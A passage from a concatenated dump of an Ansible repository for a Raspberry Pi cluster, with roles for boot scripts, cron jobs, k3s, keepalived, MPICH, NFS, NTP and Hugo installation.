22 | # these files exist in Volatile memory!
23 |
24 | mkdir -p /mnt/ramstore/data;
25 | touch -f /mnt/ramstore/data/test.txt;
26 | echo "deployer" > /mnt/ramstore/data/test.txt;
27 | chmod 700 /mnt/ramstore/data;
28 |
29 | mkdir -p /mnt/ramstore/pi;
30 |
31 | # temp SSH key in ram
32 | ssh-keygen -q -N "" -o -f /mnt/ramstore/pi/id_ecdsa_temp -t ecdsa
33 | chown pi:pi -R /mnt/ramstore/pi/*
34 | chmod 700 /mnt/ramstore/pi/
35 | fi
36 |
37 |
38 | # turn off red power LED
39 | echo 1 | tee /sys/class/leds/led1/brightness
40 | echo 0 | tee /sys/class/leds/led1/brightness
41 |
42 | logger -t rpicluster "deployer-boot.sh finished"
43 |
44 | #-------------------------------------------------------------------------------
45 |
--------------------------------------------------------------------------------
/ansible/roles/group-deployer/templates/ramstore.j2:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # {{ ansible_managed }}
3 | # setup by role: {{role_path|basename}}
4 |
5 | mkdir -pv /mnt/ramstore/data/
6 |
7 | # create a 2MB tmpfs
8 | if [ ! -f /mnt/ramstore/data/test.txt ]; then
9 |
10 | mount -t tmpfs -o size=2m tmpfs /mnt/ramstore;
11 |
12 | touch -f /mnt/ramstore/data/test.txt
13 |
14 | # these files exist in Volatile memory!
15 | mkdir -p /mnt/ramstore/data;
16 | chmod 770 /mnt/ramstore/data;
17 | chown pi:pi /mnt/ramstore/data;
18 | fi
19 |
--------------------------------------------------------------------------------
/ansible/roles/group-deployer/vars/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | deployscript_binfile: [
5 | {file: 'renew_ssh_priv_key.sh'}
6 | ]
7 |
--------------------------------------------------------------------------------
/ansible/roles/group-lanservices/files/rpi-lanservices.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=rpi-lanservices.service
3 | Requires=network-online.target
4 | After=network-online.target
5 |
6 | [Service]
7 | User=root
8 | ExecStart=/root/bin/lanservices-boot.sh
9 |
10 | [Install]
11 | WantedBy=multi-user.target
12 |
--------------------------------------------------------------------------------
/ansible/roles/group-lanservices/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # handlers for group-lanservices
3 |
4 |
5 | - name: systemctl-daemon-reload
6 | systemd:
7 | daemon_reload: true
8 | become: true
9 |
10 |
11 | - name: restart-rpilansrv
12 | service:
13 | name: rpi-lanservices.service
14 | state: restarted
15 | become: true
16 |
17 |
18 | # static arp
19 | - name: static-arp-ethers
20 | command: /usr/sbin/arp -f /etc/ethers
21 | become: true
22 |
23 |
24 | - name: reload-rsyslog
25 | service:
26 | name: rsyslog.service
27 | state: restarted
28 | become: true
--------------------------------------------------------------------------------
/ansible/roles/group-lanservices/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: group-lanservices
4 | author: crgm
5 | description: actions specific to lanservices main
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 | dependencies:
14 | - { role: userac }
15 | - { role: base-system }
16 | - { role: ssh-server }
17 |
--------------------------------------------------------------------------------
/ansible/roles/group-lanservices/tasks/cron.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - debug: msg="LanServices main cron jobs "
3 |
4 |
5 | - name: add pathing to cron
6 | cron:
7 | name: PATH
8 | env: true
9 | value: /root/bin/
10 | become: true
11 |
12 |
13 | - name: create cron daily script from template
14 | template:
15 | src: lansrvmain-cron-daily.j2
16 | dest: /root/crontab/lansrvmain-cron-daily.sh
17 | mode: 0755
18 | owner: root
19 | group: root
20 | become: true
21 |
22 | - name: install daily cron script
23 | cron:
24 | name: "lansrvmain-cron-daily"
25 | special_time: "daily"
26 | job: "/root/crontab/lansrvmain-cron-daily.sh"
27 | state: "present"
28 | user: root
29 | become: true
30 |
31 |
32 | - name: create cron hourly script from template
33 | template:
34 | src: lansrvmain-cron-hourly.j2
35 | dest: /root/crontab/lansrvmain-cron-hourly.sh
36 | mode: 0755
37 | owner: root
38 | group: root
39 | become: true
40 |
41 | - name: install hourly cron script
42 | cron:
43 | name: "lansrvmain-cron-hourly"
44 | special_time: "hourly"
45 | job: "/root/crontab/lansrvmain-cron-hourly.sh"
46 | state: "present"
47 | user: root
48 | become: true
49 |
--------------------------------------------------------------------------------
/ansible/roles/group-lanservices/tasks/lanservices-security.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | # static arp entries for admin nodes
5 | - name: /etc/ethers
6 | template:
7 | src: etc/ethers.j2
8 | dest: /etc/ethers
9 | mode: 0644
10 | become: true
11 | notify: static-arp-ethers
12 | tags: [lanservices]
13 |
14 |
15 | # Disable USB Storage Devices
16 | - name: Blacklist usb storage kernel module
17 | kernel_blacklist:
18 | name: usb_storage
19 | state: present
20 | become: true
21 | tags: [lanservices]
22 |
23 |
24 | # Disable USB mouse and keyboard
25 | - name: Blacklist usbhid kernel moduel
26 | kernel_blacklist:
27 | name: usbhid
28 | state: present
29 | become: true
30 | tags: [lanservices]
31 |
32 |
33 | - name: /etc/security/limits.conf
34 | template:
35 | src: etc/security/limits_conf.j2
36 | dest: /etc/security/limits.conf
37 | mode: 0644
38 | become: true
39 | tags: [lanservices]
--------------------------------------------------------------------------------
/ansible/roles/group-lanservices/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Role for nodes in the LanServices group (Alpha and Beta)
3 |
4 | - debug: msg="Lan Services role running "
5 |
6 |
7 | - name: tools
8 | apt:
9 | name: "{{ item }}"
10 | state: present
11 | loop:
12 | - nmap
13 | - lynx
14 | - redir
15 | - proxychains
16 | become: true
17 | retries: 2
18 | tags: [lanservices]
19 |
20 |
21 | # custom systemd service "rpi-lanservices"
22 | - import_tasks: systemd-cust.yml
23 | tags: [lanservices]
24 |
25 |
26 | # security tasks for this group
27 | - import_tasks: lanservices-security.yml
28 |
29 |
30 | # cron scripts
31 | - import_tasks: cron.yml
32 | tags: [lanservices]
33 |
34 |
35 | - name: output to rpicluster log
36 | command: logger -t rpicluster ansible lanservices role ran
37 | changed_when: false
38 | tags: [lanservices]
39 |
40 |
41 | - name: roles info txt
42 | lineinfile:
43 | path: /opt/cluster/data/info_roles.txt
44 | line: "{{ role_path|basename }}"
45 | become: true
46 | tags: [lanservices]
47 |
--------------------------------------------------------------------------------
/ansible/roles/group-lanservices/tasks/systemd-cust.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | # copy lanservices-boot.sh
4 | - name: lanservices-boot script
5 | template:
6 | src: lanservices-boot.j2
7 | dest: /root/bin/lanservices-boot.sh
8 | validate: /bin/bash -n %s
9 | mode: 0770
10 | owner: root
11 | group: root
12 | become: true
13 | tags: [lanservices]
14 |
15 | # systemd script
16 | - name: copy rpi lanservices systemd script
17 | copy:
18 | src: rpi-lanservices.service
19 | dest: /etc/systemd/system/rpi-lanservices.service
20 | mode: 0644
21 | owner: root
22 | group: root
23 | become: true
24 | notify:
25 | - systemctl-daemon-reload
26 | - restart-rpilansrv
27 | tags: [lanservices]
28 |
29 | # rpi-lanservices.service enabled on boot
30 | - name: enable rpi-lanservices systemd script
31 | systemd:
32 | name: rpi-lanservices
33 | enabled: true
34 | masked: no
35 | become: true
36 | tags: [lanservices]
37 |
--------------------------------------------------------------------------------
/ansible/roles/group-lanservices/templates/etc/ethers.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | #
3 | # static arp entries for LanServices
4 | #
5 | # default gw
6 | {{ rpi_net_default_gw }} {{ rpi_net_default_gw_mac }}
7 | #
8 | # deployer/s
9 | {% for host in groups['deploy'] %}
10 | {{ hostvars[host]['ansible_eth0']['ipv4']['address'] }} {{ hostvars[host]['rpi_mac'] }}
11 | {% endfor %}
12 | #
13 | # Other admin node
14 | {{ rpi_failover_ip }} {{ rpi_failover_hwaddr }}
15 |
--------------------------------------------------------------------------------
/ansible/roles/group-lanservices/templates/lansrvmain-cron-daily.j2:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # {{ ansible_managed }}
3 |
4 |
5 | # pre-run checks ---------------------------------------------------------------
6 |
7 | # no LD_PRELOAD
8 | unset LD_PRELOAD
9 |
10 | #-------------------------------------------------------------------------------
11 |
12 | # check disk
13 | /usr/lib/nagios/plugins/check_disk -x /dev/sda1;
14 |
15 | touch -f /mnt/ramstore/data/cron-daily.txt;
16 | /bin/date > /mnt/ramstore/data/cron-daily.txt;
17 |
18 | #-------------------------------------------------------------------------------
19 |
20 | /usr/bin/logger -t rpicluster "lansrv-cron-daily.sh ran"
21 |
22 | #-------------------------------------------------------------------------------
23 |
--------------------------------------------------------------------------------
/ansible/roles/group-lanservices/templates/lansrvmain-cron-hourly.j2:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # {{ ansible_managed }}
3 |
4 | # pre-run checks ---------------------------------------------------------------
5 |
6 | # no LD_PRELOAD
7 | unset LD_PRELOAD
8 |
9 | #-------------------------------------------------------------------------------
10 |
11 | /bin/date > /mnt/ramstore/data/hour_check.txt
12 |
13 |
14 | # LED Blink
15 | #
16 | echo timer > /sys/class/leds/led0/trigger
17 | echo timer > /sys/class/leds/led1/trigger
18 | #
19 | # wait
20 | sleep 20s
21 | #
22 | # turn off red power LED
23 | echo 1 > /sys/class/leds/led1/brightness
24 | echo 0 > /sys/class/leds/led1/brightness
25 | # put back to default
26 | echo mmc0 > /sys/class/leds/led0/trigger
27 |
28 |
29 | #-------------------------------------------------------------------------------
30 |
31 | # check process count
32 | /usr/lib/nagios/plugins/check_procs -w 200 -c 300;
33 |
34 | # check user count
35 | /usr/lib/nagios/plugins/check_users -w 5 -c 10;
36 |
37 | /usr/bin/logger -t rpicluster "lansrv-cron-hourly.sh ran"
38 |
39 | #-------------------------------------------------------------------------------
40 |
--------------------------------------------------------------------------------
/ansible/roles/haveged/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # haveged - random number generator
3 | # http://www.issihosts.com/haveged/
4 |
5 |
6 | - debug: msg="common (haveged) "
7 |
8 |
9 | - name: install haveged
10 | apt:
11 | state: present
12 | name: haveged
13 | become: true
14 | register: aptinsthaveged
15 | tags: haveged
16 |
17 |
18 | - name: haveged enabled on boot and started
19 | service:
20 | name: haveged
21 | enabled: true
22 | state: started
23 | become: true
24 | tags: haveged
25 |
26 |
27 | - name: notify rpicluster log
28 | command: logger -t rpicluster installed haveged
29 | changed_when: false
30 | when: aptinsthaveged.changed
31 | tags: haveged
32 |
33 |
34 | - name: roles info txt
35 | lineinfile:
36 | path: /opt/cluster/data/info_roles.txt
37 | line: "{{ role_path|basename }}"
38 | owner: root
39 | group: root
40 | mode: 0444
41 | become: true
42 | tags: haveged
43 |
--------------------------------------------------------------------------------
/ansible/roles/hostsfile/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: hostsfile
4 | author: crgm
5 | description: sshd server config
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 | dependencies:
14 | - role: base-system
15 |
--------------------------------------------------------------------------------
/ansible/roles/hostsfile/readme.md:
--------------------------------------------------------------------------------
1 |
2 | This just adds inventory hosts to /etc/hosts
3 |
--------------------------------------------------------------------------------
/ansible/roles/hostsfile/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - debug: msg="altering /etc/hosts "
3 |
4 |
5 | # /etc/hosts file
6 | # add all hosts we have in our ansible inventory
7 | - name: etc hosts file
8 | template:
9 | src: etc-hosts.j2
10 | dest: /etc/hosts
11 | owner: root
12 | group: root
13 | mode: 0644
14 | become: true
15 | tags: [hostsfile]
16 |
17 |
18 | # log
19 | - name: output to rpicluster log
20 | command: logger -t rpicluster ansible hostsfile role ran
21 | changed_when: False
22 | tags: [hostsfile]
23 |
24 |
25 | - name: roles info txt
26 | lineinfile:
27 | path: /opt/cluster/data/info_roles.txt
28 | line: "{{ role_path|basename }}"
29 | become: true
30 | tags: [hostsfile]
31 |
--------------------------------------------------------------------------------
/ansible/roles/hostsfile/templates/etc-hosts.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # setup by role: {{role_path|basename}}
3 | #
4 | 127.0.0.1 localhost
5 | ::1 localhost ip6-localhost ip6-loopback
6 | ff02::1 ip6-allnodes
7 | ff02::2 ip6-allrouters
8 | #
9 | 127.0.1.1 {{ inventory_hostname }}
10 | #
11 | # ansible inventory hosts:
12 | {% for host in groups['all'] %}
13 | {% if 'ansible_eth0' in hostvars[host] %}
14 | {{ hostvars[host]['ansible_eth0']['ipv4']['address'] }} {{ host }} {{ host }}.local
15 | {% endif %}
16 | {% endfor %}
17 |
--------------------------------------------------------------------------------
/ansible/roles/hugo/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: install-hugo-deb
4 | apt:
5 | deb: "/opt/cluster/mysrc/{{ hugo_bin }}"
6 | become: true
7 | tags: [hugo]
8 |
--------------------------------------------------------------------------------
/ansible/roles/hugo/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: hugo
4 | author: crgm
5 | description: install hugo the static website generator
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 |
--------------------------------------------------------------------------------
/ansible/roles/hugo/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Install Hugo, a static site generator.
3 | # https://gohugo.io/
4 |
5 |
6 | - name: check we have hugo deb
7 | stat:
8 | path: "/opt/cluster/mysrc/{{ hugo_bin }}"
9 | register: hugo_apt_mysrc
10 | changed_when: False
11 |
12 |
13 | - name: download Hugo bin if missing
14 | get_url:
15 | url: "{{ hugo_bin_url }}"
16 | dest: /opt/cluster/mysrc/
17 | checksum: "{{ hugo_bin_sha }}"
18 | when: hugo_apt_mysrc.stat.exists == False
19 | register: hugo_bin_dl
20 | tags: [hugo]
21 |
22 |
23 | - name: Install a hugo deb package
24 | apt:
25 | deb: "/opt/cluster/mysrc/{{ hugo_bin }}"
26 | become: true
27 | when: hugo_bin_dl.changed
28 | tags: [hugo]
29 |
30 |
31 | - name: get hugo version
32 | command: /usr/local/bin/hugo version
33 | register: hugoversion
34 | become: false
35 | changed_when: false
36 | ignore_errors: true
37 | tags: [hugo]
38 |
39 |
40 | - name: check hugo ok
41 | assert:
42 | that:
43 | - "'Hugo Static Site Generator' in hugoversion.stdout"
44 |
45 |
46 | - name: roles info txt
47 | lineinfile:
48 | path: /opt/cluster/data/info_roles.txt
49 | line: "{{ role_path|basename }}"
50 | owner: root
51 | group: root
52 | mode: 0444
53 | become: true
54 | tags: [hugo]
55 |
--------------------------------------------------------------------------------
/ansible/roles/hugo/vars/main.yml:
--------------------------------------------------------------------------------
1 |
2 | hugo_bin: "hugo_0.65.2_Linux-ARM.deb"
3 | hugo_bin_url: "https://github.com/gohugoio/hugo/releases/download/v0.65.2/hugo_0.65.2_Linux-ARM.deb"
4 | hugo_bin_sha: "sha256:adce7c32bd063e94860a7f69ccea9bcb574d8e980bc405a2ac12bf329a4b228b"
5 |
--------------------------------------------------------------------------------
/ansible/roles/i3-wm/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Install i3 window manager
3 | # https://i3wm.org/
4 | #
5 | # login on console and type 'startx' to start desktop
6 | #
7 | # config is stored in:
8 | # ~/.config/i3/config
9 | #
10 |
11 | - name: install i3
12 | apt:
13 | name: "{{ item }}"
14 | state: present
15 | loop:
16 | - i3
17 | - i3blocks
18 | - dmenu
19 | - suckless-tools
20 | - xinit
21 | - tty-clock
22 | become: true
23 |
24 | - name: add i3 to xinit.rc
25 | lineinfile:
26 | path: ~/.xinit.rc
27 | line: 'exec i3'
28 | create: true
29 |
30 | - name: create i3 config dir
31 | file:
32 | path: ~/.config/i3
33 | state: directory
34 | mode: 0755
35 | owner: "{{ ansible_user_id }}"
36 | group: "{{ ansible_user_id }}"
37 |
38 | - name: create i3 status config dir
39 | file:
40 | path: ~/.config/i3status
41 | state: directory
42 | mode: 0755
43 | owner: "{{ ansible_user_id }}"
44 | group: "{{ ansible_user_id }}"
--------------------------------------------------------------------------------
/ansible/roles/k3s/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # K3s - 5 less than K8s
3 | #
4 | # https://github.com/rancher/k3s
5 | # https://rancher.com/docs/k3s/latest/en/
6 |
7 |
8 | # server/admin/master nodes
9 | - import_tasks: server.yml
10 | when:
11 | - "'docker_master' in group_names"
12 |
13 | # worker nodes
14 | - import_tasks: worker.yml
15 | when:
16 | - "'docker_worker' in group_names"
--------------------------------------------------------------------------------
/ansible/roles/k3s/tasks/server.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | # Server: run install script
4 | - name: run server install script
5 | script: "install_k3s.sh"
6 | args:
7 | creates: /var/lib/rancher/k3s/server/node-token
8 | become: true
9 |
10 | - name: get token from master
11 | fetch:
12 | src: /var/lib/rancher/k3s/server/node-token
13 | dest: /opt/cluster/backup
14 | become: true
15 |
16 | - name: Set facts
17 | set_fact:
18 | k3s_master_ip: "{{ hostvars[inventory_hostname]['ansible_default_ipv4']['address'] }}"
19 |
20 | - name: Set facts
21 | set_fact:
22 | k3s_master_node: "{{ lookup('file', '/opt/cluster/backup/epsilon/var/lib/rancher/k3s/server/node-token') }}"
23 | delegate_to: 127.0.0.1
24 |
--------------------------------------------------------------------------------
/ansible/roles/k3s/tasks/worker.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | # upload install script
4 |
5 | - name: upload install script
6 | copy:
7 | src: "install_k3s.sh"
8 | dest: "/opt/cluster/docker/scripts/install_k3s.sh"
9 | mode: 0755
10 | become: true
11 |
12 | - name: upload wrapper script for installer
13 | template:
14 | src: k3s_join_master_sh.j2
15 | dest: /opt/cluster/docker/scripts/k3s_join_master.sh
16 | mode: 0755
17 |
18 | - name: run installer script
19 | shell: /opt/cluster/docker/scripts/k3s_join_master.sh
20 | args:
21 | creates: /usr/local/bin/kubectl
--------------------------------------------------------------------------------
/ansible/roles/k3s/templates/k3s_join_master_sh.j2:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # {{ ansible_managed }}
3 |
4 | set -u
5 |
6 | # check installer exists
7 | if [ -f /opt/cluster/docker/scripts/install_k3s.sh ]; then
8 | echo "OK have installer";
9 | else
10 | echo "missing installer";
11 | exit 1;
12 | fi
13 |
14 | export K3S_TOKEN="{{ hostvars['epsilon']['k3s_master_node'] }}"
15 | export K3S_URL="{{ hostvars['epsilon']['k3s_master_ip'] }}:6443"
16 |
17 | # run installer
18 | cat /opt/cluster/docker/scripts/install_k3s.sh | K3S_URL=${K3S_URL} K3S_TOKEN=${K3S_TOKEN} sh -
19 |
20 | # join a node to master:
21 | # k3s agent --server ${K3S_URL} --token ${K3S_TOKEN}
22 |
23 | if [ $? -eq 0 ]; then
24 | echo "k3s seemed to install OK";
25 | else
26 | echo "error joining master node"
27 | exit 1;
28 | fi
29 |
30 | # eof
--------------------------------------------------------------------------------
/ansible/roles/keepalived/defaults/main.yml:
--------------------------------------------------------------------------------
1 |
2 | keepalived_id: "RPI_CLUST"
3 |
4 | keepalived_vrouteid: "51"
5 |
--------------------------------------------------------------------------------
/ansible/roles/keepalived/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: keepalived_reload
4 | service:
5 | name: keepalived
6 | state: reloaded
7 | become: true
8 | tags: [keepalived]
9 |
--------------------------------------------------------------------------------
/ansible/roles/keepalived/templates/etc/keepalived/keepalived_conf.j2:
--------------------------------------------------------------------------------
1 | ! /etc/keepalived/keepalived.conf
2 | ! {{ ansible_managed }}
3 |
4 | global_defs {
5 | router_id {{ keepalived_id }}
6 | }
7 |
8 | vrrp_instance VI_1 {
9 | state {{ keepalived_state }}
10 | interface eth0
11 | virtual_router_id {{ keepalived_vrouteid }}
12 | priority {{ keepalived_priority }}
13 | advert_int 1
14 | authentication {
15 | auth_type PASS
16 | auth_pass {{ keepalived_pass }}
17 | }
18 | virtual_ipaddress {
19 | {{ rpi_loadbal_float_ip }}
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/ansible/roles/mpich/files/mpich_keygen_sh.j2:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #
3 | # name: mpich_keygen.sh
4 | # desc: from deploy node this will sign the SSH keys for the mpiuser
5 |
6 |
7 | echo "starting mpich_keygen.sh"
8 |
9 | mpikeytemp=$(mktemp -d)
10 | cd $mpikeytemp;
11 |
12 | if [ ! -f /opt/cluster/backup/omega/home/mpiuser/.ssh/id_rsa.pub ]; then
13 | echo "missing expected public key!"
14 | exit 1;
15 | fi
16 |
17 | cp /opt/cluster/backup/omega/home/mpiuser/.ssh/* .
18 | thesshcapw=$(pass ssh/CA)
19 | ssh-keygen -s ~/.ssh/my-ssh-ca/ca -P ${thesshcapw} -I mpiuser -n mpiuser -V +2w -z 1 ${mpikeytemp}/id_rsa.pub
20 |
21 | scp -v id_rsa-cert.pub pi@omega:~/
22 | ssh -v pi@omega sudo mv id_rsa-cert.pub /home/mpiuser/.ssh/id_rsa-cert.pub
23 | ssh -v pi@omega sudo chown mpiuser:mpiuser /home/mpiuser/.ssh/id_rsa-cert.pub
24 |
25 | echo "finished mpich_keygen.sh"
26 |
--------------------------------------------------------------------------------
/ansible/roles/mpich/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: mpich
4 | author: crgm
5 | description: setup mpich and run a small test program
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 | dependencies:
14 | - role: base-system
15 |
--------------------------------------------------------------------------------
/ansible/roles/mpich/readme.md:
--------------------------------------------------------------------------------
1 | # Message Passing Interface
2 |
3 | https://www.mpich.org/
4 | https://wiki.mpich.org/mpich/index.php/Developer_Documentation
5 | https://packages.debian.org/sid/mpich
6 |
7 | ## Setup
8 |
9 | The mpich role is run on Lanservices-Misc, and the Compute groups.
10 |
11 | The LanService-Misc node has SSH access to the compute nodes as the mpiuser user, who run tasks and then report back.
12 |
13 |
14 | ```
15 | (env) pi@psi:/opt/cluster/deploy-script $ ./mpich_keygen.sh
16 | ```
17 |
--------------------------------------------------------------------------------
/ansible/roles/mpich/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - debug: msg="mpich role"
3 | tags: [mpich]
4 |
5 |
6 | # install packages
7 | - name: mpich packages needed
8 | apt:
9 | name: "{{ item }}"
10 | state: present
11 | loop:
12 | - mpich
13 | - mpich-doc
14 | - gfortran
15 | become: true
16 | retries: 2
17 | tags: [mpich]
18 |
19 |
20 | - import_tasks: mpi-test-code.yml
21 |
22 |
23 | - name: roles info txt
24 | lineinfile:
25 | path: /opt/cluster/data/info_roles.txt
26 | line: "{{ role_path|basename }}"
27 | become: true
28 | tags: [mpich]
29 |
--------------------------------------------------------------------------------
/ansible/roles/mpich/tasks/mpi-test-code.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | # mpi_sample.c
4 | - name: copy mpi_sample.c
5 | copy:
6 | src: mpi_sample.c
7 | dest: "/home/{{ rpi_clust_user }}/mpi_sample.c"
8 | owner:
9 | group:
10 | mode: 0644
11 | become: true
12 | tags: [mpich]
13 |
14 |
15 | # make mpi_sample.c
16 | - name: compile mpi_sample
17 | shell: mpic++ -o ~/mpi_sample ~/mpi_sample.c
18 | args:
19 | chdir: "/home/{{ rpi_clust_user }}/"
20 | creates: "/home/{{ rpi_clust_user }/mpi_sample"
21 | become: true
22 | become_user: "{{ rpi_clust_user }}"
23 | tags: [mpich]
24 |
--------------------------------------------------------------------------------
/ansible/roles/mpich/templates/mpich_test_sh.j2:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #
3 | # name: mpich_test.sh
4 | # desc: run to execute the mpi_sample.c program on the compute group
5 |
6 | echo "starting mpich_test.sh"
7 |
8 | mpihostsfile="/home/mpiuser/mpihosts.txt"
9 |
10 | rm -f ${mpihostsfile}
11 | touch -f ${mpihostsfile}
12 |
13 | # hosts in cluster
14 | hosts="gamma zeta delta epsilon"
15 |
16 | for i in $hosts;
17 | do
18 | # get IP of host
19 | thehostip=$(getent hosts $i | awk '{print $1}')
20 | #
21 | echo ${thehostip} >> ${mpihostsfile}
22 | ssh-keygen -R "${thehostip}";
23 | ssh-keyscan -H "${thehostip}" >> ~/.ssh/known_hosts;
24 | done
25 |
26 | # man page:
27 | # https://www.open-mpi.org/doc/v2.0/man1/mpirun.1.php
28 |
29 | mpirun -l -np 32 --hostfile ${mpihostsfile} ~/mpi_sample
30 |
31 | echo "finished mpich_test.sh"
32 |
--------------------------------------------------------------------------------
/ansible/roles/nfs-client/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # NFS Clients (compute)
3 | - debug: msg="NFS Client role "
4 | tags: [nfs]
5 |
6 |
7 | # packages
8 | - name: install NFS programs
9 | apt:
10 | name: "{{ item }}"
11 | state: present
12 | loop:
13 | - nfs-common
14 | - rpcbind
15 | become: true
16 | retries: 1
17 | tags: [nfs]
18 |
19 |
20 | # Create mount point
21 | - name: create /mnt/nfs/
22 | file:
23 | path: /mnt/nfs/
24 | state: directory
25 | mode: 0775
26 | owner: "{{ ansible_user_id }}"
27 | group: "{{ ansible_user_id }}"
28 | become: true
29 | tags: [nfs]
30 |
31 |
32 | # mount NFS share
33 | - name: set mountpoints
34 | mount:
35 | name: /mnt/nfs/
36 | src: "{{ hostvars['omega']['ansible_default_ipv4']['address'] }}:/srv/nfs_share/"
37 | fstype: nfs
38 | opts: defaults,rw
39 | state: mounted
40 | become: true
41 | tags: [nfs]
42 |
43 |
44 | - name: roles info txt
45 | lineinfile:
46 | path: /opt/cluster/data/info_roles.txt
47 | line: "{{ role_path|basename }}"
48 | become: true
49 | tags: [nfs]
50 |
--------------------------------------------------------------------------------
/ansible/roles/nfs-server/defaults/main.yml:
--------------------------------------------------------------------------------
1 | # NFS defaults
2 |
3 | rpi_nfsrv_enabled: false
4 |
--------------------------------------------------------------------------------
/ansible/roles/nfs-server/templates/exports.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # role: {{role_path|basename}}
3 | #
4 | # NFS exports - allow these nfs clients:
5 | #
6 | /srv/nfs_share/ {{ rpi_net_id }}/{{ rpi_net_maskbit }}(ro,root_squash,subtree_check)
7 |
--------------------------------------------------------------------------------
/ansible/roles/nfs-server/templates/test_file.j2:
--------------------------------------------------------------------------------
1 | {{ ansible_managed }}
2 | role: {{role_path|basename}}
3 |
4 | Test file on NFS Server. Running on: {{ ansible_hostname }}
5 |
6 |
--------------------------------------------------------------------------------
/ansible/roles/nodejs/vars/main.yml:
--------------------------------------------------------------------------------
1 |
2 |
3 | nodejs_setup_ver: "setup_12.x.sh"
4 |
--------------------------------------------------------------------------------
/ansible/roles/ntp-client/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | # restart ntp
5 | - name: ntp_restart
6 | service:
7 | name: ntp
8 | state: restarted
9 | become: true
10 | tags: [ntp]
11 |
--------------------------------------------------------------------------------
/ansible/roles/ntp-client/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # NTP Client
3 | - debug: msg="NTP Client "
4 |
5 |
6 | # install
7 | - name: ntp installed
8 | apt:
9 | name: ntp
10 | state: present
11 | become: true
12 | tags: [ntp]
13 |
14 |
15 | # config file - Clients
16 | - name: ntpd client conf
17 | template:
18 | src: ntp_client.j2
19 | dest: /etc/ntp.conf
20 | mode: 0644
21 | owner: root
22 | group: root
23 | become: true
24 | tags: [ntp]
25 | notify: ntp_restart
26 |
27 |
28 | # started + enabled
29 | - name: ntp started
30 | service:
31 | name: ntp
32 | state: started
33 | enabled: true
34 | become: true
35 | tags: [ntp]
36 |
37 |
38 | - name: roles info txt
39 | lineinfile:
40 | path: /opt/cluster/data/info_roles.txt
41 | line: "{{ role_path|basename }}"
42 | become: true
43 | tags: [ntp]
44 |
--------------------------------------------------------------------------------
/ansible/roles/ntp-client/templates/ntp_client.j2:
--------------------------------------------------------------------------------
1 | # {{ ansible_managed }}
2 | # created by role: {{role_path|basename}}
3 |
4 | #driftfile /var/lib/ntp/ntp.drift
5 |
6 | statistics loopstats peerstats clockstats
7 | filegen loopstats file loopstats type day enable
8 | filegen peerstats file peerstats type day enable
9 | filegen clockstats file clockstats type day enable
10 |
11 | server {{ rpi_ntp_client_1 }}
12 | server {{ rpi_ntp_client_2 }}
13 |
14 | # By default, exchange time with everybody, but don't allow configuration.
15 | restrict -4 default kod notrap nomodify nopeer noquery limited
16 | restrict -6 default kod notrap nomodify nopeer noquery limited
17 |
18 | # Local users may interrogate the ntp server more closely.
19 | restrict 127.0.0.1
20 | restrict ::1
21 |
22 | # Needed for adding pool entries
23 | restrict source notrap nomodify noquery
24 |
--------------------------------------------------------------------------------
/ansible/roles/ntp-server/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | - name: ntp_restart
5 | service:
6 | name: ntp
7 | state: restarted
8 | become: true
9 | tags: [ntp]
10 |
--------------------------------------------------------------------------------
/ansible/roles/ntp-server/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # NTP server
3 | # http://www.ntp.org/
4 | # http://www.pool.ntp.org/en/
5 | - debug: msg="NTP Server "
6 |
7 |
8 | # install
9 | - name: ntp installed
10 | apt:
11 | name: ntp
12 | state: present
13 | become: true
14 | tags: [ntp]
15 |
16 |
17 | # config file - Servers
18 | - name: ntpd SERVER conf
19 | template:
